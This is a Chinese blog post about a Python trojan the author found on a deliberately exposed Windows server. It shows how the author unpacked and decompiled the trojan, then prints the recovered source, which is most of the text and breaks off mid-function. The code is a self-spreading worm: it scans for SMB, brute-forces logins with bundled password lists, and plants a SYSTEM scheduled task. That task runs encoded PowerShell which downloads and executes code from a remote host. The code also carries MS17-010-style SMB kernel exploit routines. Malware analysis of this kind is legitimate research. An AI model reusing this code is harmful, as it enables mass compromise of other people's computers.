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  1. ---
  2. layout: post
  3. title: 关于Python制作的木马探索
  4. tags: [Python, 木马, 病毒]
  5. ---
  6. 想不到木马病毒居然也可以用Python写😆<!--more-->
  7. # 起因
  8. 在一年前阿里云搞了个高校学生免费领300CNY券的活动,那时候我领了一张并且零元购了一个香港的2c1g轻量服务器,在这一年里它为我做了许多,不仅当延迟极低的梯子,另外还运行着H@H给我赚Hath。一年过后的现在它马上就要过期了,当时我让我的同学也领了一张,正好等到我服务器快过期的时候买,于是我创好服务器并且把我的东西都迁过去,之后旧的服务器就没什么用了。
  9. 那在它剩下的最后几天让它干些什么好呢?首先Linux系统感觉没啥意思,装个Windows玩玩吧。不过香港阿里云在装了Linux系统之后是不允许切换成Windows的,而且如果买的时候装Windows还需要额外付费,所以我用了一个[一键DD/重装脚本](https://github.com/bin456789/reinstall)把我的系统重装成Windows Server 2008。不过其实就算刷成Windows也不能改变它没啥用的事实,所以我给它设置了超简单的密码,并且没有装任何补丁,防火墙全关掉,让它在网络上成为能被随意攻破的肉鸡吧。
  10. 在这之后没几天我登上去看了一眼,其实看不出来啥,毕竟就算被入侵了绝大多数情况都是被人当备用的,一般人也不会闲着把上面的文件全删掉,把系统搞崩。所以我安了个360,看看有没有中木马,结果还真中了,在Temp目录下多了个“svchost.exe”文件(虽然还有其他的木马文件但不是Python的所以不感兴趣),而且看图标居然是pyinstaller打包的!这让我有点感兴趣了,其他语言写的编译之后很难看出来什么,而且我也看不懂其他语言写的东西,但是Python我至少还是能看懂的,所以我就下载了这个样本尝试获得它的源代码。
  11. # 提取源代码
  12. pyinstaller解包还是挺简单的,用[PyInstaller Extractor](https://github.com/extremecoders-re/pyinstxtractor)就可以,首先我在我的电脑上尝试解包,不过因为Python版本不对,里面的PYZ文件不能解包,并且提示我使用Python 2.7的环境再试一次。我找了台装有Python 2.7环境的服务器又执行了一次之后就全部解包完了。想不到这个木马居然没有加密😂,直接就能解压,不过就算加密了我之前看过一篇[文章](https://www.cnblogs.com/liweis/p/15891170.html)可以进行解密。
  13. 不过现在得到的文件都是字节码pyc文件,还需要反编译才能看到源代码,这个步骤也很简单,安装个[uncompyle6](https://github.com/rocky/python-uncompyle6)工具就可以。它的主程序名字叫“ii.py”,于是我反编译了一下,不过看起来作者还整了一些混淆,但是极其简单,就把几个函数换成一串变量而已,所以写了个简单的脚本给它还原回去了,最终处理的结果如下(里面有个[混淆过的PowerShell版mimikatz](https://github.com/DanMcInerney/Invoke-Cats),太长了所以我给删掉了):
  14. ```python
  15. # uncompyle6 version 3.9.2
  16. # Python bytecode version base 2.7 (62211)
  17. # Decompiled from: Python 2.7.18 (default, Jun 24 2022, 18:01:55)
  18. # [GCC 8.5.0 20210514 (Red Hat 8.5.0-13)]
  19. # Embedded file name: ii.py
  20. import subprocess
  21. import re
  22. import binascii
  23. import socket
  24. import struct
  25. import threading
  26. import os
  27. import random
  28. import platform
  29. from urllib2 import urlopen
  30. from json import load
  31. from impacket import smb, smbconnection
  32. from mysmb import MYSMB
  33. from struct import pack, unpack, unpack_from
  34. import sys
  35. import socket
  36. import time
  37. from psexec import PSEXEC
  38. iplist = ['192.168.0.1/24', '192.168.1.1/24', '192.168.2.1/24', '192.168.3.1/24', '192.168.4.1/24',
  39. '192.168.5.1/24', '192.168.6.1/24', '192.168.7.1/24', '192.168.8.1/24', '192.168.9.1/24',
  40. '192.168.10.1/24', '192.168.18.1/24', '192.168.31.1/24', '192.168.199.1/24',
  41. '192.168.254.1/24', '192.168.67.1/24', '10.0.0.1/24', '10.0.1.1/24', '10.0.2.1/24',
  42. '10.1.1.1/24', '10.90.90.1/24', '10.1.10.1/24', '10.10.1.1/24']
  43. userlist = ['', 'Administrator', 'user', 'admin', 'test', 'hp', 'guest']
  44. userlist2 = ['', 'Administrator', 'admin']
  45. passlist = ['', '123456', 'password', 'qwerty', '12345678', '123456789', '123', '1234',
  46. '123123', '12345', '12345678', '123123123', '1234567890', '88888888', '111111111',
  47. '000000', '111111', '112233', '123321', '654321', '666666', '888888', 'a123456',
  48. '123456a', '5201314', '1qaz2wsx', '1q2w3e4r', 'qwe123', '123qwe', 'a123456789',
  49. '123456789a', 'baseball', 'dragon', 'football', 'iloveyou', 'password',
  50. 'sunshine', 'princess', 'welcome', 'abc123', 'monkey', '!@#$%^&*', 'charlie',
  51. 'aa123456', 'Aa123456', 'admin', 'homelesspa', 'password1', '1q2w3e4r5t',
  52. 'qwertyuiop', '1qaz2wsx']
  53. domainlist = ['']
  54. nip = []
  55. ntlist = []
  56. # remove mkatz cause it is too long(https://github.com/DanMcInerney/Invoke-Cats)
  57. mkatz = ''
  58. def find_ip():
  59. global iplist2
  60. ipconfig_process = subprocess.Popen('ipconfig /all', stdout=subprocess.PIPE)
  61. output = ipconfig_process.stdout.read()
  62. result = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output)
  63. for ipaddr in result:
  64. if ipaddr != '127.0.0.1' and ipaddr != '255.255.255.0' and ipaddr != '0.0.0.0':
  65. ipaddr = ipaddr.split('.')[0] + '.' + ipaddr.split('.')[1] + '.' + ipaddr.split('.')[2] + '.1/24'
  66. iplist.append(ipaddr)
  67. netstat_process = subprocess.Popen('netstat -na', stdout=subprocess.PIPE)
  68. output2 = netstat_process.stdout.read()
  69. result2 = re.findall('\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\b', output2)
  70. for ip in result2:
  71. if ip != '127.0.0.1' and ip != '0.0.0.0' and ip != '255.255.0.0' and ip != '1.1.1.1':
  72. ip = ip.split('.')[0] + '.' + ip.split('.')[1] + '.' + ip.split('.')[2] + '.1/24'
  73. iplist.append(ip)
  74. try:
  75. ipp1 = urlopen('http://ip.42.pl/raw', timeout=3).read()
  76. ipp1 = ipp1.split('.')[0] + '.' + ipp1.split('.')[1] + '.' + ipp1.split('.')[2] + '.1/24'
  77. ipp2 = load(urlopen('http://jsonip.com', timeout=3))['ip']
  78. ipp2 = ipp2.split('.')[0] + '.' + ipp2.split('.')[1] + '.' + ipp2.split('.')[2] + '.1/24'
  79. iplist.append(ipp1)
  80. iplist.append(ipp2)
  81. except:
  82. pass
  83. iplist2 = list(set(iplist))
  84. iplist2.sort(key=iplist.index)
  85. return iplist2
  86. def xip(numb):
  87. del nip[:]
  88. for n in xrange(numb):
  89. ipp = socket.inet_ntoa(struct.pack('>I', random.randint(1, 4294967295L)))
  90. ipp = ipp.split('.')[0] + '.' + ipp.split('.')[1] + '.' + ipp.split('.')[2] + '.1/24'
  91. nip.append(ipp)
  92. return nip
  93. def scan(ip, p):
  94. global timeout
  95. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  96. s.settimeout(float(timeout) if timeout else None)
  97. try:
  98. s.connect((ip, p))
  99. return 1
  100. except Exception as e:
  101. return 0
  102. def scan2(ip, p):
  103. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  104. s.settimeout(float(2))
  105. try:
  106. s.connect((ip, p))
  107. return 1
  108. except Exception as e:
  109. return 0
  110. def scan3(ip, p):
  111. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  112. s.settimeout(float(1))
  113. try:
  114. s.connect((ip, p))
  115. return 1
  116. except Exception as e:
  117. return 0
  118. def validate(ip, fr):
  119. global dl
  120. global domainlist
  121. global ee2
  122. global passlist
  123. global userlist2
  124. for u in userlist2:
  125. for p in passlist:
  126. if u == '' and p != '':
  127. continue
  128. for d in domainlist:
  129. if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, p, d, fr).run(ip):
  130. print 'SMB Succ!'
  131. return
  132. def validate2(ip, fr):
  133. global ntlist
  134. for u in userlist2:
  135. for d in domainlist:
  136. for n in ntlist:
  137. if PSEXEC(ee2, dl, 'cmd.exe /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&&c:\\windows\\temp\\svchost.exe', u, '', d, fr, '00000000000000000000000000000000:' + n).run(ip):
  138. print 'SMB Succ!'
  139. return
  140. def scansmb(ip, p):
  141. global semaphore1
  142. if scan(ip, 445) == 1:
  143. if scan(ip, 65533) == 0:
  144. print 'exp IP:' + ip
  145. try:
  146. validate(ip, '1')
  147. except:
  148. pass
  149. try:
  150. check_ip(ip, 1)
  151. except:
  152. pass
  153. try:
  154. validate2(ip, '3')
  155. except:
  156. pass
  157. semaphore1.release()
  158. def scansmb2(ip, p):
  159. if scan2(ip, 445) == 1:
  160. print 'exp IP:' + ip
  161. try:
  162. validate(ip, '2')
  163. except:
  164. pass
  165. try:
  166. check_ip(ip, 2)
  167. except:
  168. pass
  169. try:
  170. validate2(ip, '2')
  171. except:
  172. pass
  173. semaphore1.release()
  174. def scansmb3(ip, p):
  175. global semaphore2
  176. if scan3(ip, 445) == 1:
  177. if scan3(ip, 65533) == 0:
  178. print 'exp IP:' + ip
  179. try:
  180. validate(ip, '2')
  181. except:
  182. pass
  183. try:
  184. check_ip(ip, 2)
  185. except:
  186. pass
  187. try:
  188. validate2(ip, '3')
  189. except:
  190. pass
  191. semaphore2.release()
  192. WIN7_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 160, 'SESSION_ISNULL_OFFSET': 186, 'FAKE_SECCTX': (pack('<IIQQIIB', 2621994, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 40}
  193. WIN7_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 128, 'SESSION_ISNULL_OFFSET': 150, 'FAKE_SECCTX': (pack('<IIIIIIB', 1835562, 1, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 28}
  194. WIN8_64_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 176, 'SESSION_ISNULL_OFFSET': 202, 'FAKE_SECCTX': (pack('<IIQQQQIIB', 3670570, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 56}
  195. WIN8_32_SESSION_INFO = {'SESSION_SECCTX_OFFSET': 136, 'SESSION_ISNULL_OFFSET': 158, 'FAKE_SECCTX': (pack('<IIIIIIIIB', 2359850, 1, 0, 0, 0, 0, 2, 0, 1)), 'SECCTX_SIZE': 36}
  196. WIN2K3_64_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 186, 'SESSION_SECCTX_OFFSET': 160, 'SECCTX_PCTXTHANDLE_OFFSET': 16, 'PCTXTHANDLE_TOKEN_OFFSET': 64, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
  197. WIN2K3_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 150, 'SESSION_SECCTX_OFFSET': 128, 'SECCTX_PCTXTHANDLE_OFFSET': 12, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104}
  198. WINXP_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 76, 'TOKEN_USER_GROUP_ADDR_OFFSET': 104, 'TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1': 64, 'TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1': 92}
  199. WIN2K_32_SESSION_INFO = {'SESSION_ISNULL_OFFSET': 148, 'SESSION_SECCTX_OFFSET': 132, 'PCTXTHANDLE_TOKEN_OFFSET': 36, 'TOKEN_USER_GROUP_CNT_OFFSET': 60, 'TOKEN_USER_GROUP_ADDR_OFFSET': 88}
  200. WIN7_32_TRANS_INFO = {'TRANS_SIZE': 160, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 64, 'TRANS_OUTPARAM_OFFSET': 68, 'TRANS_INDATA_OFFSET': 72, 'TRANS_OUTDATA_OFFSET': 76, 'TRANS_PARAMCNT_OFFSET': 88, 'TRANS_TOTALPARAMCNT_OFFSET': 92, 'TRANS_FUNCTION_OFFSET': 114, 'TRANS_MID_OFFSET': 128}
  201. WIN7_64_TRANS_INFO = {'TRANS_SIZE': 248, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 112, 'TRANS_OUTPARAM_OFFSET': 120, 'TRANS_INDATA_OFFSET': 128, 'TRANS_OUTDATA_OFFSET': 136, 'TRANS_PARAMCNT_OFFSET': 152, 'TRANS_TOTALPARAMCNT_OFFSET': 156, 'TRANS_FUNCTION_OFFSET': 178, 'TRANS_MID_OFFSET': 192}
  202. WIN5_32_TRANS_INFO = {'TRANS_SIZE': 152, 'TRANS_FLINK_OFFSET': 24, 'TRANS_INPARAM_OFFSET': 60, 'TRANS_OUTPARAM_OFFSET': 64, 'TRANS_INDATA_OFFSET': 68, 'TRANS_OUTDATA_OFFSET': 72, 'TRANS_PARAMCNT_OFFSET': 84, 'TRANS_TOTALPARAMCNT_OFFSET': 88, 'TRANS_FUNCTION_OFFSET': 110, 'TRANS_PID_OFFSET': 120, 'TRANS_MID_OFFSET': 124}
  203. WIN5_64_TRANS_INFO = {'TRANS_SIZE': 224, 'TRANS_FLINK_OFFSET': 40, 'TRANS_INPARAM_OFFSET': 104, 'TRANS_OUTPARAM_OFFSET': 112, 'TRANS_INDATA_OFFSET': 120, 'TRANS_OUTDATA_OFFSET': 128, 'TRANS_PARAMCNT_OFFSET': 144, 'TRANS_TOTALPARAMCNT_OFFSET': 148, 'TRANS_FUNCTION_OFFSET': 170, 'TRANS_PID_OFFSET': 180, 'TRANS_MID_OFFSET': 184}
  204. X86_INFO = {'ARCH': 'x86', 'PTR_SIZE': 4, 'PTR_FMT': 'I', 'FRAG_TAG_OFFSET': 12, 'POOL_ALIGN': 8, 'SRV_BUFHDR_SIZE': 8}
  205. X64_INFO = {'ARCH': 'x64', 'PTR_SIZE': 8, 'PTR_FMT': 'Q', 'FRAG_TAG_OFFSET': 20, 'POOL_ALIGN': 16, 'SRV_BUFHDR_SIZE': 16}
  206. def merge_dicts(*dict_args):
  207. result = {}
  208. for dictionary in dict_args:
  209. result.update(dictionary)
  210. return result
  211. OS_ARCH_INFO = {'WIN7': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN7_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN7_64_SESSION_INFO))}, 'WIN8': {'x86': (merge_dicts(X86_INFO, WIN7_32_TRANS_INFO, WIN8_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN7_64_TRANS_INFO, WIN8_64_SESSION_INFO))}, 'WINXP': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WINXP_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K3': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K3_32_SESSION_INFO)), 'x64': (merge_dicts(X64_INFO, WIN5_64_TRANS_INFO, WIN2K3_64_SESSION_INFO))}, 'WIN2K': {'x86': (merge_dicts(X86_INFO, WIN5_32_TRANS_INFO, WIN2K_32_SESSION_INFO))}}
  212. TRANS_NAME_LEN = 4
  213. HEAP_HDR_SIZE = 8
  214. def calc_alloc_size(size, align_size):
  215. return size + align_size - 1 & ~(align_size - 1)
  216. def wait_for_request_processed(conn):
  217. conn.send_echo('a')
  218. def find_named_pipe(conn):
  219. pipes = ['browser', 'spoolss', 'netlogon', 'lsarpc', 'samr']
  220. tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
  221. found_pipe = None
  222. for pipe in pipes:
  223. try:
  224. fid = conn.nt_create_andx(tid, pipe)
  225. conn.close(tid, fid)
  226. found_pipe = pipe
  227. break
  228. except smb.SessionError as e:
  229. pass
  230. conn.disconnect_tree(tid)
  231. return found_pipe
  232. special_mid = 0
  233. extra_last_mid = 0
  234. def reset_extra_mid(conn):
  235. global extra_last_mid
  236. global special_mid
  237. special_mid = (conn.next_mid() & 65280) - 256
  238. extra_last_mid = special_mid
  239. def next_extra_mid():
  240. global extra_last_mid
  241. extra_last_mid += 1
  242. return extra_last_mid
  243. GROOM_TRANS_SIZE = 20496
  244. def leak_frag_size(conn, tid, fid):
  245. info = {}
  246. mid = conn.next_mid()
  247. req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A' * 4304, maxParameterCount=GROOM_TRANS_SIZE - 4304 - TRANS_NAME_LEN)
  248. req2 = conn.create_nt_trans_secondary_packet(mid, data='B' * 276)
  249. conn.send_raw(req1[:-8])
  250. conn.send_raw(req1[-8:] + req2)
  251. leakData = conn.recv_transaction_data(mid, 4580)
  252. leakData = leakData[4308:]
  253. if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
  254. print 'Target is 32 bit'
  255. info['arch'] = 'x86'
  256. info['FRAG_POOL_SIZE'] = ord(leakData[X86_INFO['FRAG_TAG_OFFSET'] - 2]) * X86_INFO['POOL_ALIGN']
  257. elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET'] + 4] == 'Frag':
  258. print 'Target is 64 bit'
  259. info['arch'] = 'x64'
  260. info['FRAG_POOL_SIZE'] = ord(leakData[X64_INFO['FRAG_TAG_OFFSET'] - 2]) * X64_INFO['POOL_ALIGN']
  261. else:
  262. print 'Not found Frag pool tag in leak data'
  263. print ('Got frag size: 0x{:x}').format(info['FRAG_POOL_SIZE'])
  264. return info
  265. def read_data(conn, info, read_addr, read_size):
  266. fmt = info['PTR_FMT']
  267. new_data = pack('<' + fmt * 3, info['trans2_addr'] + info['TRANS_FLINK_OFFSET'], info['trans2_addr'] + 512, read_addr)
  268. new_data += pack('<II', 0, 0)
  269. new_data += pack('<III', 8, 8, 8)
  270. new_data += pack('<III', read_size, read_size, read_size)
  271. new_data += pack('<HH', 0, 5)
  272. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
  273. conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=17120, totalParameterCount=4096)
  274. conn.send_nt_trans_secondary(mid=info['trans2_mid'])
  275. read_data = conn.recv_transaction_data(info['trans2_mid'], 8 + read_size)
  276. info['trans2_addr'] = unpack_from('<' + fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
  277. conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<' + fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
  278. wait_for_request_processed(conn)
  279. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  280. wait_for_request_processed(conn)
  281. return read_data[8:]
  282. def write_data(conn, info, write_addr, write_data):
  283. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<' + info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
  284. wait_for_request_processed(conn)
  285. conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
  286. wait_for_request_processed(conn)
  287. def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
  288. trans_param = pack('<HH', fid, 0)
  289. for i in range(numFill):
  290. conn.send_nt_trans(5, param=trans_param, totalDataCount=4304, maxParameterCount=GROOM_TRANS_SIZE - 4304)
  291. mid_ntrename = conn.next_mid()
  292. req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A' * 4304, maxParameterCount=info['GROOM_DATA_SIZE'] - 4304)
  293. req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B' * 276)
  294. req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE'] - 4096, maxParameterCount=4096)
  295. reqs = []
  296. for i in range(12):
  297. mid = next_extra_mid()
  298. reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE'] - 512, totalParameterCount=512, maxDataCount=0, maxParameterCount=0))
  299. conn.send_raw(req1[:-8])
  300. conn.send_raw(req1[-8:] + req2 + req3 + ('').join(reqs))
  301. leakData = conn.recv_transaction_data(mid_ntrename, 4580)
  302. leakData = leakData[4308:]
  303. if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET'] + 4] != 'Frag':
  304. print 'Not found Frag pool tag in leak data'
  305. return None
  306. leakData = leakData[info['FRAG_TAG_OFFSET'] - 4 + info['FRAG_POOL_SIZE']:]
  307. expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
  308. leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
  309. if leakData[4:8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN'] + 2] != expected_size or leakData[leakTransOffset + 2:leakTransOffset + 4] != expected_size:
  310. print 'No transaction struct in leak data'
  311. return None
  312. leakTrans = leakData[leakTransOffset:]
  313. ptrf = info['PTR_FMT']
  314. _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + ptrf * 5, leakTrans, 8)
  315. inparam_value = unpack_from('<' + ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
  316. leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
  317. print ('CONNECTION: 0x{:x}').format(connection_addr)
  318. print ('SESSION: 0x{:x}').format(session_addr)
  319. print ('FLINK: 0x{:x}').format(flink_value)
  320. print ('InParam: 0x{:x}').format(inparam_value)
  321. print ('MID: 0x{:x}').format(leak_mid)
  322. next_page_addr = (inparam_value & 18446744073709547520L) + 4096
  323. if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
  324. print ('unexpected alignment, diff: 0x{:x}').format(flink_value - next_page_addr)
  325. return None
  326. return {'connection': connection_addr, 'session': session_addr, 'next_page_addr': next_page_addr, 'trans1_mid': leak_mid, 'trans1_addr': (inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN), 'trans2_addr': (flink_value - info['TRANS_FLINK_OFFSET'])}
  327. def exploit_matched_pairs(conn, pipe_name, info):
  328. tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
  329. conn.set_default_tid(tid)
  330. fid = conn.nt_create_andx(tid, pipe_name)
  331. info.update(leak_frag_size(conn, tid, fid))
  332. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  333. info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
  334. print ('GROOM_POOL_SIZE: 0x{:x}').format(info['GROOM_POOL_SIZE'])
  335. info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info['TRANS_SIZE']
  336. bridePoolSize = 4096 - (info['GROOM_POOL_SIZE'] & 4095) - info['FRAG_POOL_SIZE']
  337. info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
  338. print ('BRIDE_TRANS_SIZE: 0x{:x}').format(info['BRIDE_TRANS_SIZE'])
  339. info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
  340. leakInfo = None
  341. for i in range(10):
  342. reset_extra_mid(conn)
  343. leakInfo = align_transaction_and_leak(conn, tid, fid, info)
  344. if leakInfo is not None:
  345. break
  346. print 'leak failed... try again'
  347. conn.close(tid, fid)
  348. conn.disconnect_tree(tid)
  349. tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
  350. conn.set_default_tid(tid)
  351. fid = conn.nt_create_andx(tid, pipe_name)
  352. if leakInfo is None:
  353. return False
  354. info['fid'] = fid
  355. info.update(leakInfo)
  356. shift_indata_byte = 512
  357. conn.do_write_andx_raw_pipe(fid, 'A' * shift_indata_byte)
  358. indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 4096 + shift_indata_byte
  359. indata_next_trans_displacement = info['trans2_addr'] - indata_value
  360. conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
  361. wait_for_request_processed(conn)
  362. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
  363. if recvPkt.getNTStatus() != 65538:
  364. print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
  365. print '!!! Write to wrong place !!!'
  366. print 'the target might be crashed'
  367. return False
  368. print 'success controlling groom transaction'
  369. print 'modify trans1 struct for arbitrary read/write'
  370. fmt = info['PTR_FMT']
  371. conn.send_nt_trans_secondary(mid=fid, data=pack('<' + fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
  372. wait_for_request_processed(conn)
  373. conn.send_nt_trans_secondary(mid=special_mid, data=pack('<' + fmt * 3, info['trans1_addr'], info['trans1_addr'] + 512, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
  374. wait_for_request_processed(conn)
  375. info['trans2_mid'] = conn.next_mid()
  376. conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
  377. return True
  378. def exploit_fish_barrel(conn, pipe_name, info):
  379. tid = conn.tree_connect_andx('\\\\' + conn.get_remote_host() + '\\' + 'IPC$')
  380. conn.set_default_tid(tid)
  381. fid = conn.nt_create_andx(tid, pipe_name)
  382. info['fid'] = fid
  383. if info['os'] == 'WIN7' and 'arch' not in info:
  384. info.update(leak_frag_size(conn, tid, fid))
  385. if 'arch' in info:
  386. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  387. attempt_list = [OS_ARCH_INFO[info['os']][info['arch']]]
  388. else:
  389. attempt_list = [
  390. OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86']]
  391. print 'Groom packets'
  392. trans_param = pack('<HH', info['fid'], 0)
  393. for i in range(12):
  394. mid = info['fid'] if i == 8 else next_extra_mid()
  395. conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=256 - TRANS_NAME_LEN, totalDataCount=3776, maxParameterCount=64, maxDataCount=0)
  396. shift_indata_byte = 512
  397. conn.do_write_andx_raw_pipe(info['fid'], 'A' * shift_indata_byte)
  398. success = False
  399. for tinfo in attempt_list:
  400. print 'attempt controlling next transaction on ' + tinfo['ARCH']
  401. HEAP_CHUNK_PAD_SIZE = (tinfo['POOL_ALIGN'] - (tinfo['TRANS_SIZE'] + HEAP_HDR_SIZE) % tinfo['POOL_ALIGN']) % tinfo['POOL_ALIGN']
  402. NEXT_TRANS_OFFSET = 3840 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
  403. conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET + tinfo['TRANS_MID_OFFSET'])
  404. wait_for_request_processed(conn)
  405. recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
  406. if recvPkt.getNTStatus() == 65538:
  407. print 'success controlling one transaction'
  408. success = True
  409. if 'arch' not in info:
  410. print 'Target is ' + tinfo['ARCH']
  411. info['arch'] = tinfo['ARCH']
  412. info.update(OS_ARCH_INFO[info['os']][info['arch']])
  413. break
  414. if recvPkt.getNTStatus() != 0:
  415. print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
  416. if not success:
  417. print ('unexpected return status: 0x{:x}').format(recvPkt.getNTStatus())
  418. print '!!! Write to wrong place !!!'
  419. print 'the target might be crashed'
  420. return False
  421. print 'modify parameter count to 0xffffffff to be able to write backward'
  422. conn.send_trans_secondary(mid=info['fid'], data='\xff\xff\xff\xff', dataDisplacement=NEXT_TRANS_OFFSET + info['TRANS_TOTALPARAMCNT_OFFSET'])
  423. if info['arch'] == 'x64':
